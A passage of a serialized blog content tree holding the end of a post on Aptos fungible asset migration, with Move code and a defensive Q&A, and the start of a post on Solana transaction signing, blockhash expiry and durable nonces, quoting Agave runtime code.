string",{"type":24,"tag":90,"props":69039,"children":69040},{"style":120},[69041],{"type":29,"value":1211},{"type":24,"tag":90,"props":69043,"children":69044},{"style":108},[69045],{"type":29,"value":69046},"utf8",{"type":24,"tag":90,"props":69048,"children":69049},{"style":114},[69050],{"type":29,"value":117},{"type":24,"tag":90,"props":69052,"children":69053},{"style":1085},[69054],{"type":29,"value":69055},"b\"\"",{"type":24,"tag":90,"props":69057,"children":69058},{"style":114},[69059],{"type":29,"value":779},{"type":24,"tag":90,"props":69061,"children":69062},{"class":92,"line":420},[69063,69067,69071,69075,69079,69083],{"type":24,"tag":90,"props":69064,"children":69065},{"style":114},[69066],{"type":29,"value":69037},{"type":24,"tag":90,"props":69068,"children":69069},{"style":120},[69070],{"type":29,"value":1211},{"type":24,"tag":90,"props":69072,"children":69073},{"style":108},[69074],{"type":29,"value":69046},{"type":24,"tag":90,"props":69076,"children":69077},{"style":114},[69078],{"type":29,"value":117},{"type":24,"tag":90,"props":69080,"children":69081},{"style":1085},[69082],{"type":29,"value":69055},{"type":24,"tag":90,"props":69084,"children":69085},{"style":114},[69086],{"type":29,"value":779},{"type":24,"tag":90,"props":69088,"children":69089},{"class":92,"line":428},[69090],{"type":24,"tag":90,"props":69091,"children":69092},{"style":114},[69093],{"type":29,"value":571},{"type":24,"tag":90,"props":69095,"children":69096},{"class":92,"line":437},[69097,69101,69105],{"type":24,"tag":90,"props":69098,"children":69099},{"style":114},[69100],{"type":29,"value":719},{"type":24,"tag":90,"props":69102,"children":69103},{"style":120},[69104],{"type":29,"value":3013},{"type":24,"tag":90,"props":69106,"children":69107},{"style":114},[69108],{"type":29,"value":14141},{"type":24,"tag":25,"props":69110,"children":69111},{},[69112,69114,69119],{"type":29,"value":69113},"When the linked fungible asset was created, the current ",{"type":24,"tag":32,"props":69115,"children":69117},{"className":69116},[],[69118],{"type":29,"value":62792},{"type":29,"value":69120}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":24,"tag":25,"props":69122,"children":69123},{},[69124,69126,69131,69133,69139,69141,69146],{"type":29,"value":69125},"Users can manually migrate their ",{"type":24,"tag":32,"props":69127,"children":69129},{"className":69128},[],[69130],{"type":29,"value":62954},{"type":29,"value":69132}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":24,"tag":32,"props":69134,"children":69136},{"className":69135},[],[69137],{"type":29,"value":69138},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":69140}," from the caller. All coins in the ",{"type":24,"tag":32,"props":69142,"children":69144},{"className":69143},[],[69145],{"type":29,"value":62954},{"type":29,"value":69147}," are exchanged and transferred to the new store during the migration.",{"type":24,"tag":80,"props":69149,"children":69151},{"className":82,"code":69150,"language":84,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[69152],{"type":24,"tag":32,"props":69153,"children":69154},{"__ignoreMap":7},[69155,69163,69195,69215,69251,69292],{"type":24,"tag":90,"props":69156,"children":69157},{"class":92,"line":93},[69158],{"type":24,"tag":90,"props":69159,"children":69160},{"style":252},[69161],{"type":29,"value":69162},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":24,"tag":90,"props":69164,"children":69165},{"class":92,"line":200},[69166,69170,69174,69178,69183,69187,69191],{"type":24,"tag":90,"props":69167,"children":69168},{"style":136},[69169],{"type":29,"value":63501},{"type":24,"tag":90,"props":69171,"children":69172},{"style":136},[69173],{"type":29,"value":64468},{"type":24,"tag":90,"props":69175,"children":69176},{"style":136},[69177],{"type":29,"value":8592},{"type":24,"tag":90,"props":69179,"children":69180},{"style":136},[69181],{"type":29,"value":69182}," migrate_to_fungible_store",{"type":24,"tag":90,"props":69184,"children":69185},{"style":114},[69186],{"type":29,"value":1575},{"type":24,"tag":90,"props":69188,"children":69189},{"style":146},[69190],{"type":29,"value":8968},{"type":24,"tag":90,"props":69192,"children":69193},{"style":114},[69194],{"type":29,"value":8973},{"type":24,"tag":90,"props":69196,"children":69197},{"class":92,"line":239},[69198,69202,69206,69210],{"type":24,"tag":90,"props":69199,"children":69200},{"style":136},[69201],{"type":29,"value":26980},{"type":24,"tag":90,"props":69203,"children":69204},{"style":120},[69205],{"type":29,"value":78},{"type":24,"tag":90,"props":69207,"children":69208},{"style":120},[69209],{"type":29,"value":455},{"type":24,"tag":90,"props":69211,"children":69212},{"style":136},[69213],{"type":29,"value":69214},"signer\n",{"type":24,"tag":90,"props":69216,"children":69217},{"class":92,"line":248},[69218,69222,69226,69230,69234,69239,69243,69247],{"type":24,"tag":90,"props":69219,"children":69220},{"style":114},[69221],{"type":29,"value":172},{"type":24,"tag":90,"props":69223,"children":69224},{"style":136},[69225],{"type":29,"value":8729},{"type":24,"tag":90,"props":69227,"children":69228},{"style":146},[69229],{"type":29,"value":62975},{"type":24,"tag":90,"props":69231,"children":69232},{"style":114},[69233],{"type":29,"value":133},{"type":24,"tag":90,"props":69235,"children":69236},{"style":146},[69237],{"type":29,"value":69238},"CoinConversionMap",{"type":24,"tag":90,"props":69240,"children":69241},{"style":114},[69242],{"type":29,"value":133},{"type":24,"tag":90,"props":69244,"children":69245},{"style":146},[69246],{"type":29,"value":9098},{"type":24,"tag":90,"props":69248,"children":69249},{"style":114},[69250],{"type":29,"value":269},{"type":24,"tag":90,"props":69252,"children":69253},{"class":92,"line":258},[69254,69259,69263,69267,69272,69276,69280,69284,69288],{"type":24,"tag":90,"props":69255,"children":69256},{"style":136},[69257],{"type":29,"value":69258}," maybe_convert_to_fungible_store",{"type":24,"tag":90,"props":69260,"children":69261},{"style":114},[69262],{"type":29,"value":1575},{"type":24,"tag":90,"props":69264,"children":69265},{"style":146},[69266],{"type":29,"value":8968},{"type":24,"tag":90,"props":69268,"children":69269},{"style":114},[69270],{"type":29,"value":69271},">(signer",{"type":24,"tag":90,"props":69273,"children":69274},{"style":120},[69275],{"type":29,"value":1211},{"type":24,"tag":90,"props":69277,"children":69278},{"style":108},[69279],{"type":29,"value":9591},{"type":24,"tag":90,"props":69281,"children":69282},{"style":114},[69283],{"type":29,"value":117},{"type":24,"tag":90,"props":69285,"children":69286},{"style":136},[69287],{"type":29,"value":15318},{"type":24,"tag":90,"props":69289,"children":69290},{"style":114},[69291],{"type":29,"value":9605},{"type":24,"tag":90,"props":69293,"children":69294},{"class":92,"line":272},[69295],{"type":24,"tag":90,"props":69296,"children":69297},{"style":114},[69298],{"type":29,"value":827},{"type":24,"tag":25,"props":69300,"children":69301},{},[69302,69304,69309,69311,69316],{"type":29,"value":69303},"A curious reader might wonder about the fate of the ",{"type":24,"tag":32,"props":69305,"children":69307},{"className":69306},[],[69308],{"type":29,"value":62954},{"type":29,"value":69310}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":24,"tag":32,"props":69312,"children":69314},{"className":69313},[],[69315],{"type":29,"value":62954},{"type":29,"value":69317}," to ensure consistency.",{"type":24,"tag":68012,"props":69319,"children":69320},{},[69321,69340],{"type":24,"tag":25,"props":69322,"children":69323},{},[69324,69326,69331,69333,69338],{"type":29,"value":69325},"Could an attacker convert their ",{"type":24,"tag":32,"props":69327,"children":69329},{"className":69328},[],[69330],{"type":29,"value":62954},{"type":29,"value":69332}," to a primary fungible store and then register another ",{"type":24,"tag":32,"props":69334,"children":69336},{"className":69335},[],[69337],{"type":29,"value":62954},{"type":29,"value":69339}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":24,"tag":68043,"props":69341,"children":69342},{"v-slot:answer-0":7},[69343],{"type":24,"tag":25,"props":69344,"children":69345},{},[69346],{"type":29,"value":69347},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":24,"tag":850,"props":69349,"children":69350},{"id":30743},[69351],{"type":29,"value":20741},{"type":24,"tag":25,"props":69353,"children":69354},{},[69355,69357,69362],{"type":29,"value":69356},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":24,"tag":32,"props":69358,"children":69360},{"className":69359},[],[69361],{"type":29,"value":62792},{"type":29,"value":226},{"type":24,"tag":25,"props":69364,"children":69365},{},[69366],{"type":29,"value":69367},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":24,"tag":25,"props":69369,"children":69370},{},[69371,69373],{"type":29,"value":69372},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":24,"tag":1978,"props":69374,"children":69375},{},[69376],{"type":24,"tag":69,"props":69377,"children":69379},{"href":31435,"ariaDescribedBy":69378,"dataFootnoteRef":7,"id":31437},[1985],[69380],{"type":29,"value":534},{"type":24,"tag":4947,"props":69382,"children":69384},{"className":69383,"dataFootnotes":7},[4950],[69385,69390],{"type":24,"tag":850,"props":69386,"children":69388},{"className":69387,"id":1985},[4955],[69389],{"type":29,"value":4958},{"type":24,"tag":3100,"props":69391,"children":69392},{},[69393],{"type":24,"tag":3104,"props":69394,"children":69395},{"id":32178},[69396,69398,69440],{"type":29,"value":69397},"There are at least four functions that can withdraw a fungible asset:",{"type":24,"tag":3207,"props":69399,"children":69400},{},[69401,69411,69420,69430],{"type":24,"tag":3104,"props":69402,"children":69403},{},[69404],{"type":24,"tag":69,"props":69405,"children":69409},{"href":69406,"rel":69407,":style":69408},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[73],"color: #007bff;",[69410],{"type":29,"value":66093},{"type":24,"tag":3104,"props":69412,"children":69413},{},[69414],{"type":24,"tag":69,"props":69415,"children":69418},{"href":69416,"rel":69417,":style":69408},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[73],[69419],{"type":29,"value":68033},{"type":24,"tag":3104,"props":69421,"children":69422},{},[69423],{"type":24,"tag":69,"props":69424,"children":69427},{"href":69425,"rel":69426,":style":69408},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[73],[69428],{"type":29,"value":69429},"primary_fungible_store::withdraw",{"type":24,"tag":3104,"props":69431,"children":69432},{},[69433],{"type":24,"tag":69,"props":69434,"children":69437},{"href":69435,"rel":69436,":style":69408},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[73],[69438],{"type":29,"value":69439},"coin::withdraw",{"type":24,"tag":69,"props":69441,"children":69443},{"href":32206,"ariaLabel":5061,"className":69442,"dataFootnoteBackref":7},[5063],[69444],{"type":29,"value":5066},{"type":24,"tag":5249,"props":69446,"children":69447},{},[69448],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":69450},[69451,69452,69453,69456,69461,69462,69463,69464],{"id":62778,"depth":200,"text":62781},{"id":63323,"depth":200,"text":63326},{"id":63883,"depth":200,"text":63886,"children":69454},[69455],{"id":64394,"depth":239,"text":64397},{"id":64651,"depth":200,"text":64654,"children":69457},[69458,69459,69460],{"id":64694,"depth":239,"text":64697},{"id":65399,"depth":239,"text":65402},{"id":67057,"depth":239,"text":67060},{"id":67588,"depth":200,"text":67591},{"id":68569,"depth":200,"text":68572},{"id":30743,"depth":200,"text":20741},{"id":1985,"depth":200,"text":4958},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":69469,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69470,"description":69471,"date":69472,"author":8106,"image":69473,"isFeatured":16,"onBlogPage":16,"tags":69475,"body":69476,"_type":5270,"_id":71304,"_source":5272,"_file":71305,"_stem":71306,"_extension":5275},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":69474,"width":7772,"height":7773},"/posts/multisig-security/title.png",[5287],{"type":21,"children":69477,"toc":71295},[69478,69491,69497,69502,69508,69521,69529,69542,69602,69624,69751,69756,69769,69781,69787,69801,69814,69828,70310,70315,70323,70337,70351,70490,70502,70508,70513,70531,70536,70541,70562,70846,70861,71049,71062,71191,71196,71201,71206,71234,71240,71245,71259,71291],{"type":24,"tag":25,"props":69479,"children":69480},{},[69481,69482,69489],{"type":29,"value":3131},{"type":24,"tag":69,"props":69483,"children":69486},{"href":69484,"rel":69485},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[73],[69487],{"type":29,"value":69488},"Bybit hack",{"type":29,"value":69490}," raises an interesting question: what can teams do if their signers are compromised?",{"type":24,"tag":850,"props":69492,"children":69494},{"id":69493},"solana-signatures",[69495],{"type":29,"value":69496},"Solana Signatures",{"type":24,"tag":25,"props":69498,"children":69499},{},[69500],{"type":29,"value":69501},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":24,"tag":1019,"props":69503,"children":69505},{"id":69504},"recent-blockhash",[69506],{"type":29,"value":69507},"Recent Blockhash",{"type":24,"tag":25,"props":69509,"children":69510},{},[69511,69513,69520],{"type":29,"value":69512},"The most straightforward is with a \"recent blockhash\". From ",{"type":24,"tag":69,"props":69514,"children":69517},{"href":69515,"rel":69516},"https://solana.com/developers/guides/advanced/confirmation",[73],[69518],{"type":29,"value":69519},"the docs",{"type":29,"value":78},{"type":24,"tag":5339,"props":69522,"children":69523},{},[69524],{"type":24,"tag":25,"props":69525,"children":69526},{},[69527],{"type":29,"value":69528},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":24,"tag":25,"props":69530,"children":69531},{},[69532,69534,69541],{"type":29,"value":69533},"The actual constant ",{"type":24,"tag":69,"props":69535,"children":69538},{"href":69536,"rel":69537},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[73],[69539],{"type":29,"value":69540},"is defined here",{"type":29,"value":226},{"type":24,"tag":80,"props":69543,"children":69545},{"className":82,"code":69544,"language":84,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[69546],{"type":24,"tag":32,"props":69547,"children":69548},{"__ignoreMap":7},[69549,69557],{"type":24,"tag":90,"props":69550,"children":69551},{"class":92,"line":93},[69552],{"type":24,"tag":90,"props":69553,"children":69554},{"style":252},[69555],{"type":29,"value":69556},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":24,"tag":90,"props":69558,"children":69559},{"class":92,"line":200},[69560,69564,69568,69573,69577,69581,69585,69590,69594,69598],{"type":24,"tag":90,"props":69561,"children":69562},{"style":97},[69563],{"type":29,"value":100},{"type":24,"tag":90,"props":69565,"children":69566},{"style":97},[69567],{"type":29,"value":40927},{"type":24,"tag":90,"props":69569,"children":69570},{"style":114},[69571],{"type":29,"value":69572}," MAX_PROCESSING_AGE",{"type":24,"tag":90,"props":69574,"children":69575},{"style":120},[69576],{"type":29,"value":78},{"type":24,"tag":90,"props":69578,"children":69579},{"style":146},[69580],{"type":29,"value":149},{"type":24,"tag":90,"props":69582,"children":69583},{"style":120},[69584],{"type":29,"value":216},{"type":24,"tag":90,"props":69586,"children":69587},{"style":114},[69588],{"type":29,"value":69589}," MAX_RECENT_BLOCKHASHES ",{"type":24,"tag":90,"props":69591,"children":69592},{"style":120},[69593],{"type":29,"value":6966},{"type":24,"tag":90,"props":69595,"children":69596},{"style":349},[69597],{"type":29,"value":10312},{"type":24,"tag":90,"props":69599,"children":69600},{"style":114},[69601],{"type":29,"value":381},{"type":24,"tag":25,"props":69603,"children":69604},{},[69605,69607,69614,69616,69622],{"type":29,"value":69606},"For those curious, the logic ",{"type":24,"tag":69,"props":69608,"children":69611},{"href":69609,"rel":69610},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[73],[69612],{"type":29,"value":69613},"starts here",{"type":29,"value":69615}," and is quite straightforward to follow, ending in a ",{"type":24,"tag":32,"props":69617,"children":69619},{"className":69618},[],[69620],{"type":29,"value":69621},"is_hash_index_valid",{"type":29,"value":69623}," check.",{"type":24,"tag":80,"props":69625,"children":69627},{"className":82,"code":69626,"language":84,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[69628],{"type":24,"tag":32,"props":69629,"children":69630},{"__ignoreMap":7},[69631,69710,69744],{"type":24,"tag":90,"props":69632,"children":69633},{"class":92,"line":93},[69634,69638,69643,69647,69652,69656,69660,69664,69669,69673,69677,69681,69686,69690,69694,69698,69702,69706],{"type":24,"tag":90,"props":69635,"children":69636},{"style":97},[69637],{"type":29,"value":22062},{"type":24,"tag":90,"props":69639,"children":69640},{"style":108},[69641],{"type":29,"value":69642}," is_hash_index_valid",{"type":24,"tag":90,"props":69644,"children":69645},{"style":114},[69646],{"type":29,"value":117},{"type":24,"tag":90,"props":69648,"children":69649},{"style":136},[69650],{"type":29,"value":69651},"last_hash_index",{"type":24,"tag":90,"props":69653,"children":69654},{"style":120},[69655],{"type":29,"value":78},{"type":24,"tag":90,"props":69657,"children":69658},{"style":146},[69659],{"type":29,"value":376},{"type":24,"tag":90,"props":69661,"children":69662},{"style":114},[69663],{"type":29,"value":133},{"type":24,"tag":90,"props":69665,"children":69666},{"style":136},[69667],{"type":29,"value":69668},"max_age",{"type":24,"tag":90,"props":69670,"children":69671},{"style":120},[69672],{"type":29,"value":78},{"type":24,"tag":90,"props":69674,"children":69675},{"style":146},[69676],{"type":29,"value":149},{"type":24,"tag":90,"props":69678,"children":69679},{"style":114},[69680],{"type":29,"value":133},{"type":24,"tag":90,"props":69682,"children":69683},{"style":136},[69684],{"type":29,"value":69685},"hash_index",{"type":24,"tag":90,"props":69687,"children":69688},{"style":120},[69689],{"type":29,"value":78},{"type":24,"tag":90,"props":69691,"children":69692},{"style":146},[69693],{"type":29,"value":376},{"type":24,"tag":90,"props":69695,"children":69696},{"style":114},[69697],{"type":29,"value":172},{"type":24,"tag":90,"props":69699,"children":69700},{"style":120},[69701],{"type":29,"value":177},{"type":24,"tag":90,"props":69703,"children":69704},{"style":146},[69705],{"type":29,"value":167},{"type":24,"tag":90,"props":69707,"children":69708},{"style":114},[69709],{"type":29,"value":269},{"type":24,"tag":90,"props":69711,"children":69712},{"class":92,"line":200},[69713,69718,69722,69727,69731,69736,69740],{"type":24,"tag":90,"props":69714,"children":69715},{"style":136},[69716],{"type":29,"value":69717}," last_hash_index",{"type":24,"tag":90,"props":69719,"children":69720},{"style":120},[69721],{"type":29,"value":53079},{"type":24,"tag":90,"props":69723,"children":69724},{"style":136},[69725],{"type":29,"value":69726}," hash_index",{"type":24,"tag":90,"props":69728,"children":69729},{"style":120},[69730],{"type":29,"value":10574},{"type":24,"tag":90,"props":69732,"children":69733},{"style":136},[69734],{"type":29,"value":69735}," max_age",{"type":24,"tag":90,"props":69737,"children":69738},{"style":97},[69739],{"type":29,"value":409},{"type":24,"tag":90,"props":69741,"children":69742},{"style":146},[69743],{"type":29,"value":15562},{"type":24,"tag":90,"props":69745,"children":69746},{"class":92,"line":239},[69747],{"type":24,"tag":90,"props":69748,"children":69749},{"style":114},[69750],{"type":29,"value":827},{"type":24,"tag":25,"props":69752,"children":69753},{},[69754],{"type":29,"value":69755},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":24,"tag":5339,"props":69757,"children":69758},{},[69759],{"type":24,"tag":25,"props":69760,"children":69761},{},[69762,69764],{"type":29,"value":69763},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":24,"tag":7711,"props":69765,"children":69766},{},[69767],{"type":29,"value":69768},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":24,"tag":25,"props":69770,"children":69771},{},[69772,69774,69779],{"type":29,"value":69773},"This means an attacker ",{"type":24,"tag":842,"props":69775,"children":69776},{},[69777],{"type":29,"value":69778},"must use",{"type":29,"value":69780}," a malicious signed transaction within a short timeframe.",{"type":24,"tag":1019,"props":69782,"children":69784},{"id":69783},"durable-nonce",[69785],{"type":29,"value":69786},"Durable Nonce",{"type":24,"tag":25,"props":69788,"children":69789},{},[69790,69792,69799],{"type":29,"value":69791},"The second type of signature ",{"type":24,"tag":69,"props":69793,"children":69796},{"href":69794,"rel":69795},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[73],[69797],{"type":29,"value":69798},"is a durable nonce",{"type":29,"value":69800},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":24,"tag":5339,"props":69802,"children":69803},{},[69804],{"type":24,"tag":25,"props":69805,"children":69806},{},[69807,69809],{"type":29,"value":69808},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":24,"tag":7711,"props":69810,"children":69811},{},[69812],{"type":29,"value":69813},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":24,"tag":25,"props":69815,"children":69816},{},[69817,69819,69826],{"type":29,"value":69818},"If we examine the code ",{"type":24,"tag":69,"props":69820,"children":69823},{"href":69821,"rel":69822},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[73],[69824],{"type":29,"value":69825},"for recent blockhash validation",{"type":29,"value":69827},", we can also see the handling for durable nonces.",{"type":24,"tag":80,"props":69829,"children":69831},{"className":82,"code":69830,"language":84,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[69832],{"type":24,"tag":32,"props":69833,"children":69834},{"__ignoreMap":7},[69835,69882,69948,69968,69988,70018,70026,70080,70097,70117,70129,70141,70149,70156,70175,70202,70222,70229,70244,70274,70303],{"type":24,"tag":90,"props":69836,"children":69837},{"class":92,"line":93},[69838,69842,69847,69851,69856,69860,69865,69869,69873,69878],{"type":24,"tag":90,"props":69839,"children":69840},{"style":97},[69841],{"type":29,"value":206},{"type":24,"tag":90,"props":69843,"children":69844},{"style":136},[69845],{"type":29,"value":69846}," recent_blockhash",{"type":24,"tag":90,"props":69848,"children":69849},{"style":120},[69850],{"type":29,"value":216},{"type":24,"tag":90,"props":69852,"children":69853},{"style":136},[69854],{"type":29,"value":69855}," tx",{"type":24,"tag":90,"props":69857,"children":69858},{"style":120},[69859],{"type":29,"value":226},{"type":24,"tag":90,"props":69861,"children":69862},{"style":108},[69863],{"type":29,"value":69864},"message",{"type":24,"tag":90,"props":69866,"children":69867},{"style":114},[69868],{"type":29,"value":314},{"type":24,"tag":90,"props":69870,"children":69871},{"style":120},[69872],{"type":29,"value":226},{"type":24,"tag":90,"props":69874,"children":69875},{"style":108},[69876],{"type":29,"value":69877},"recent_blockhash",{"type":24,"tag":90,"props":69879,"children":69880},{"style":114},[69881],{"type":29,"value":236},{"type":24,"tag":90,"props":69883,"children":69884},{"class":92,"line":200},[69885,69889,69893,69897,69901,69906,69910,69914,69919,69923,69928,69932,69936,69940,69944],{"type":24,"tag":90,"props":69886,"children":69887},{"style":636},[69888],{"type":29,"value":639},{"type":24,"tag":90,"props":69890,"children":69891},{"style":97},[69892],{"type":29,"value":29114},{"type":24,"tag":90,"props":69894,"children":69895},{"style":146},[69896],{"type":29,"value":29119},{"type":24,"tag":90,"props":69898,"children":69899},{"style":114},[69900],{"type":29,"value":117},{"type":24,"tag":90,"props":69902,"children":69903},{"style":136},[69904],{"type":29,"value":69905},"hash_info",{"type":24,"tag":90,"props":69907,"children":69908},{"style":114},[69909],{"type":29,"value":172},{"type":24,"tag":90,"props":69911,"children":69912},{"style":120},[69913],{"type":29,"value":5491},{"type":24,"tag":90,"props":69915,"children":69916},{"style":136},[69917],{"type":29,"value":69918}," hash_queue",{"type":24,"tag":90,"props":69920,"children":69921},{"style":120},[69922],{"type":29,"value":226},{"type":24,"tag":90,"props":69924,"children":69925},{"style":108},[69926],{"type":29,"value":69927},"get_hash_info_if_valid",{"type":24,"tag":90,"props":69929,"children":69930},{"style":114},[69931],{"type":29,"value":117},{"type":24,"tag":90,"props":69933,"children":69934},{"style":136},[69935],{"type":29,"value":69877},{"type":24,"tag":90,"props":69937,"children":69938},{"style":114},[69939],{"type":29,"value":133},{"type":24,"tag":90,"props":69941,"children":69942},{"style":136},[69943],{"type":29,"value":69668},{"type":24,"tag":90,"props":69945,"children":69946},{"style":114},[69947],{"type":29,"value":1297},{"type":24,"tag":90,"props":69949,"children":69950},{"class":92,"line":239},[69951,69955,69959,69964],{"type":24,"tag":90,"props":69952,"children":69953},{"style":146},[69954],{"type":29,"value":1305},{"type":24,"tag":90,"props":69956,"children":69957},{"style":114},[69958],{"type":29,"value":117},{"type":24,"tag":90,"props":69960,"children":69961},{"style":146},[69962],{"type":29,"value":69963},"CheckedTransactionDetails",{"type":24,"tag":90,"props":69965,"children":69966},{"style":114},[69967],{"type":29,"value":269},{"type":24,"tag":90,"props":69969,"children":69970},{"class":92,"line":248},[69971,69976,69980,69984],{"type":24,"tag":90,"props":69972,"children":69973},{"style":136},[69974],{"type":29,"value":69975}," nonce",{"type":24,"tag":90,"props":69977,"children":69978},{"style":120},[69979],{"type":29,"value":78},{"type":24,"tag":90,"props":69981,"children":69982},{"style":146},[69983],{"type":29,"value":29567},{"type":24,"tag":90,"props":69985,"children":69986},{"style":114},[69987],{"type":29,"value":748},{"type":24,"tag":90,"props":69989,"children":69990},{"class":92,"line":258},[69991,69996,70000,70005,70009,70014],{"type":24,"tag":90,"props":69992,"children":69993},{"style":136},[69994],{"type":29,"value":69995}," lamports_per_signature",{"type":24,"tag":90,"props":69997,"children":69998},{"style":120},[69999],{"type":29,"value":78},{"type":24,"tag":90,"props":70001,"children":70002},{"style":136},[70003],{"type":29,"value":70004}," hash_info",{"type":24,"tag":90,"props":70006,"children":70007},{"style":120},[70008],{"type":29,"value":226},{"type":24,"tag":90,"props":70010,"children":70011},{"style":108},[70012],{"type":29,"value":70013},"lamports_per_signature",{"type":24,"tag":90,"props":70015,"children":70016},{"style":114},[70017],{"type":29,"value":1384},{"type":24,"tag":90,"props":70019,"children":70020},{"class":92,"line":272},[70021],{"type":24,"tag":90,"props":70022,"children":70023},{"style":114},[70024],{"type":29,"value":70025}," })\n",{"type":24,"tag":90,"props":70027,"children":70028},{"class":92,"line":281},[70029,70033,70037,70041,70045,70049,70053,70058,70062,70067,70071,70075],{"type":24,"tag":90,"props":70030,"children":70031},{"style":114},[70032],{"type":29,"value":2288},{"type":24,"tag":90,"props":70034,"children":70035},{"style":636},[70036],{"type":29,"value":2293},{"type":24,"tag":90,"props":70038,"children":70039},{"style":636},[70040],{"type":29,"value":2298},{"type":24,"tag":90,"props":70042,"children":70043},{"style":97},[70044],{"type":29,"value":29114},{"type":24,"tag":90,"props":70046,"children":70047},{"style":146},[70048],{"type":29,"value":29119},{"type":24,"tag":90,"props":70050,"children":70051},{"style":114},[70052],{"type":29,"value":33336},{"type":24,"tag":90,"props":70054,"children":70055},{"style":136},[70056],{"type":29,"value":70057},"nonce",{"type":24,"tag":90,"props":70059,"children":70060},{"style":114},[70061],{"type":29,"value":133},{"type":24,"tag":90,"props":70063,"children":70064},{"style":136},[70065],{"type":29,"value":70066},"previous_lamports_per_signature",{"type":24,"tag":90,"props":70068,"children":70069},{"style":114},[70070],{"type":29,"value":11211},{"type":24,"tag":90,"props":70072,"children":70073},{"style":120},[70074],{"type":29,"value":5491},{"type":24,"tag":90,"props":70076,"children":70077},{"style":97},[70078],{"type":29,"value":70079}," self\n",{"type":24,"tag":90,"props":70081,"children":70082},{"class":92,"line":384},[70083,70088,70093],{"type":24,"tag":90,"props":70084,"children":70085},{"style":120},[70086],{"type":29,"value":70087}," .",{"type":24,"tag":90,"props":70089,"children":70090},{"style":108},[70091],{"type":29,"value":70092},"check_load_and_advance_message_nonce_account",{"type":24,"tag":90,"props":70094,"children":70095},{"style":114},[70096],{"type":29,"value":680},{"type":24,"tag":90,"props":70098,"children":70099},{"class":92,"line":420},[70100,70105,70109,70113],{"type":24,"tag":90,"props":70101,"children":70102},{"style":136},[70103],{"type":29,"value":70104}," 